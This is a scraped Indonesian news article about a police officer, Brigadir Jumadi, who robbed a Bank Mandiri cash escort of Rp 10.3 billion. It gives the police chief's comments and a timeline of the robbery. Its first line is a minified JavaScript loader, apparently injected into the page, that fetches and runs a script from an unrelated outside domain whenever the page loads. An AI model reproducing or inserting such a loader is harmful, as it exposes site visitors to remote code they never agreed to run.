(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Brigadir Jumadi, oknum polisi pelaku perampokan uang Bank Mandiri sebesar Rp 10,3 miliar ternyata dikenal dengan gaya hidup hedonis alias mewah. Selain juga yang bersangkutan juga sering melanggar disiplin, penyalahgunaan narkoba, serta penelantaran istri.
Hal ini disampaikan Kapolda Kalsel Brigjen Pol Rachmat Mulyana saat jumpa pers terkait kasus tersebut di Mapolda Kalsel, Jumat (5/1) siang.
“Memang gaya hidupnya hedonis. Pangkatnya Brigadir, tapi ingin gaya hidup seperti Kapolda,†ujar Kapolda sambil tertawa.
Selain itu, menurut Kapolda Brigjen Rachmat Mulyana, pelaku ternyata punya kelakuan buruk selama berkarier di kepolisian.
“Sudah tiga kali dia kedapatan melanggar disiplin, seperti penyalahgunaan narkoba dan penelantaran istri. Kita akan menjatuhkan sanksi berat kepada Brigpol Jumadi, termasuk pemecatan. Tapi mesti menunggu vonis persidangan untuk melangkah ke sidang kode etik profesi,†tegasnya.
Polisi telah meringkus Jumadi di daerah perumahan Swargaloka, Jalan Golf, Landasan Ulin, Banjarbaru. Jumadi mengubur uang Rp 4,5 miliar di halaman belakang rumah saudaranya. Polisi masih mencari uang sisanya. “Tim terus bergerak mencari sisa uangnya. Harusnya ditembak (kalau pelaku melawan),†ujar Kapolda.
Peristiwa ini dilakukan oleh oknum anggota Polres Tabalong atas nama Brigadir Jumadi dengan korban karyawan Bank Mandiri Cabang Tanjung atas nama Atika dan driver Bank Mandiri bernama Gugum. (Baca: DIBEKUK, OKNUM POLISI YANG RAMPOK UANG BANK MANDIRI RP 10,3 MILIAR)
Peristiwa ini bermula sekitar jam 06.30 Wita, saat Gugum menjemput pelaku di rumahnya untuk melakukan pengawalan pengambilan uang di Kantor Bank Mandiri Cab Banjarmasin jam 07.30 Wita. Dalam rangka pengawalan, Brigadir Jumadi lalu menghubungi anggota Polres Tabalong untuk pinjam pakai senjata api dan izin tidak melaksanakan apel karena akan melaksanakan giat pengawalan bank.
Sekitar jam 08.00 Wita, pelaku dan korban berangkat dari Polres Tabalong setelah pinjam pakai senpi menuju Banjarmasin dengan menggunakan mobil Toyota Avanza warna hitam No Polisi DD 1182 KE.
Sekitar jam 13.00 Wita, mereka tiba di Bank Mandiri Cabang Banjarmasin, Jl Pangeran Samudera kemudian korban Atika dan Gugum masuk ke dalam Bank mengambil uang pecahan Rp 100.000 sebanyak Rp 6.000.000.000 (6 miliar) pecahan Rp 50.000 sebanyak Rp 4.000.000.000 (4 miliar) dan pecahan USD 100 sebanyak USD 25.000.
Pada pukul 13.30 Wita, rombongan lantas menuju Tabalong dan bermaksud untuk mampir makan siang di RM Wong Solo sekitar bundaran Banjarbaru. Dimana sebelumnya pelaku menyarankan untuk makan di Soto Anang Martapura, namun keputusan akhir di RM Wong Solo.
Pada pukul 14.30 Wita, selesai makan siang dan pada saat akan persiapan naik mobil, tiba-tiba bergabung pelaku tambahan (sebut saja X) yang identitasnya dalam penyelidikan, ikut menumpang dan rencana akan mengambil sesuatu di Martapura. Sehingga mobil mengarah ke Polsek Martapura Kota.
Nah, di persimpangan Polsek belok kiri dan selanjutnya belok kiri dan ketika di lokasi yangg agak sepi pelaku oknum anggota Jumadi menodong driver dengan senpi dinas dan pelaku kedua (X) mengancam Atika seolah-olah gunakan senpi.(Baca: Pelaku Kubur Uang Rp 4,3 M Hasil Rampokan di Halaman Rumah Saudaranya)
“Turuti saja perintah Jumaidi klo tidak saya bolongin kaki kamu,†dengan logat Tabalong yang kental.
Selanjutnya kedua korban diikat, Gugum diikat menggunakan borgol, dilakban mata dan mulut. Sedangkan Atika kedua tangan, kaki, mata dan mulut dilakban. Kemudian Gugum diperintahkan untuk pindah ke kursi samping driver dan Brigadir Jumadi mengemudikan mobil tersebut.
Korban sempat beberapakali melihat melalui celah lakban bahwa kendaraan berbalik arah menuju Banjarmasin karena melalui bandara dan melalui bundaran Liang Anggang serta mendengar bunyi kendaraan besar yang melintas. Korban juga bebebrapa kali mendengar kegiatan para pelaku dimana sekitar 15 menit setelah bergerak ke arah Kota Banjarmasin, pelaku turun keluar dari mobil. Kemudian obrolan telepon pelaku oknum anggota yang beberap kali menyatakan bahwa tempat masih ramai dan pelaku beberapa kali mengeluarkan uang dari bagasi belakang yang diduga dipindahkan ke kendaraan lain.(ammar)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.